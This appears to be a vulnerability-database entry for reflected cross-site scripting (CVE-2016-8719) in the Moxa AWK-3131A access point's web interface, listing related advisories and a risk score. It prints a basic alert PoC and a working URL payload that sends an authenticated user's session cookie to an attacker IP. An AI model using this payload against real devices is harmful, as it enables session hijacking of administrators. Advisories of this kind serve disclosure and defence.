Moxa AWK-3131A Web Application Multiple Reflected Cross-Site Scripting Vulnerabilities(CVE-2016-8719)

🗓️ 19 Sep 2017 00:00:00Reported by RootType

Reflected XSS in Moxa AWK-3131A Web App

Reporter	Title	Published	Views	Family All 11
CNVD	Moxa AWK-3131A Wireless Access Point Cross-Site Scripting Vulnerability	19 May 201700:00	–	cnvd
Check Point Advisories	Moxa AWK-3131A Cross-Site Scripting (CVE-2016-8719)	2 Dec 202000:00	–	checkpoint_advisories
CVE	CVE-2016-8719	12 Apr 201719:00	–	cve
Cvelist	CVE-2016-8719	12 Apr 201719:00	–	cvelist
EUVD	EUVD-2016-9558	7 Oct 202500:30	–	euvd
NVD	CVE-2016-8719	12 Apr 201719:59	–	nvd
OSV	CVE-2016-8719	12 Apr 201719:59	–	osv
Prion	Cross site scripting	12 Apr 201719:59	–	prion
Positive Technologies	PT-2017-9761 · Moxa · Moxa Awk-3131A Wireless Access Point	12 Apr 201700:00	–	ptsecurity
Talos	Moxa AWK-3131A Web Application Multiple Reflected Cross-Site Scripting Vulnerabilities	10 Apr 201700:00	–	talos


                                                Basic PoC In multiplessidset.asp, devIndex parameter, JavaScript preceded by "; and closed with %2f%2f
";alert(1)%2f%2f

Stealing Session Tokens The URL below will send an authenticated user's valid session token to the attacker:
http://<device IP>//wireless_cert.asp?index=?index=%22%3E%3Cscript%3Ewindow.location=%22http://<attacker IP>/test?cookie=%22.concat%28document.cookie%29%3C/script%3E

19 Sep 2017 00:00Current

5.9Medium risk

Vulners AI Score5.9

EPSS0.00315